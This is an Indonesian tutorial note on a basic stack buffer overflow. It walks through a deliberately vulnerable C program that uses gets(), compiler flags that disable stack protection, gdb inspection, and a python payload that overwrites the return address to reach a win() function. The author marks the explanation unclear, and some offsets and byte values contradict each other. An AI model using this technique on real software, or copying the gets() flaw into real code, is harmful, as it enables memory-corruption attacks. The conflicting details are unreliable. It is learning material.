Binary-Expxloitation
(!) MASIH BELUM JELAS PENJELASANNYA
Contoh buffer sederhana, untuk return address
ide : mengisi buffer untuk mengganti suatu nilai variabel / return addr
perisapan tools : gdb, text-editor
source code :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win(){
printf("masuk ke fungsi win\n");
}
void salahSambung(){
printf("bukan fungsi yg ini\n");
}
void vuln(){
int a = 100;
char b = 'A';
char c[4] = {'Z','Y','X','W'};
char buff[32];
printf("%d\n", a);
printf("%c\n", b);
printf("%c %c %c %c\n", c[0], c[1], c[2], c[3]);
printf("masuk ke fungsi vuln : ");
gets(&buff);
printf("buff : %s\n", buff);
printf("a : %d\n", a);
printf("b : %c\n", b);
printf("array : %c %c %c %c\n", c[0], c[1], c[2], c[3]);
}
int main()
{
vuln();
return 0;
}
ketika dirun dalam gdb, didapat lokasi memory fungsi-fungsi :
0x0000555555555189 win
0x00005555555551a0 salah_sambung
0x00005555555551b7 vuln<
misal gets diisi dengan 'a' sebanyak 38,
maka tinggal dipenuhi hingga 56 kali + lokasi return
misal dengan script python :
python -c "'a'*56 + '\x89\x51'" | ./buffer64
penjelasan
// batas char sampai 38
// |---|---|---|---|---|---|---|---|
//fdd20 |97 |97 |97 |97 |97 |97 |97 |97 | RSP
// |---|---|---|---|---|---|---|---|
//fdd28 |97 |97 |97 |97 |97 |97 |97 |97 |
// |---|---|---|---|---|---|---|---|
//fdd30 |97 |97 |97 |97 |97 |97 |97 |97 |
// |---|---|---|---|---|---|---|---|
//fdd38 |97 |97 |97 |97 |97 |97 |97 |97 |
// |---|---|---|---|---|---|---|---|
//fdd40 |00 | | | | | | |5a | // akan ditimpa dengan 'a'(97)
// |---|---|---|---|---|---|---|---| var c : chr(0x5a595857) = 'Z','Y','X','W'
//fdd48 |59 |58 |57 |41 |64 |00 |00 |00 | var a : 0x64 = 100
// |---|---|---|---|---|---|---|---| var b : 0x41 = chr(0x41) = 'A'
//fdd50 | | | | | | | | | RBP // akan ditimpa dengan 'a'(97)
// |---|---|---|---|---|---|---|---|
//fdd58 | | | | | | | | | return // akan ditimpa dengan '\x86\x51'
// |---|---|---|---|---|---|---|---| return address ke alamat win</code></pre>
misal nama file buffer64.c
jalannya program adalah
fungsi main -> fungsi vuln -> return ke fungsi main
dan menginginkan return ke fungsi win, memanfaatkan buffer(kerentanan)
fungsi main -> fungsi vuln -> return ke fungsi win
jalankan script :
gcc -fno-pie -fno-pic -fno-stack-protector -fno-builtin buffer64.c -o buffer64
gdb ./buffer64
pdisas main
hasil pdisas main
memberikan bentuk assembly fungsi main pada sourcode
langsung di break :
break *main+13
si
n
terus di next hingga masuk fungsi gets
dalam code, sebelum ke fungsi <gets@plt> disiapkan [rbp-0x30], artinya 48 desimal untuk jumlah maksimal karakter inputan.
(!) fungsi gets terdapat vulnerable, dapat dimasuki lebih dari 48 karakter, namun variabel lain(int a, char b, char c[]) akan "terganggu"
inti :
- Melihat letak buffer
- Mencari memory yang dituju
- Melihat ruang antara BP/EBP/RBP <--> SP/ESP/RSP pada fungsi yang terdapat buffer
- mengisi buffer hingga return address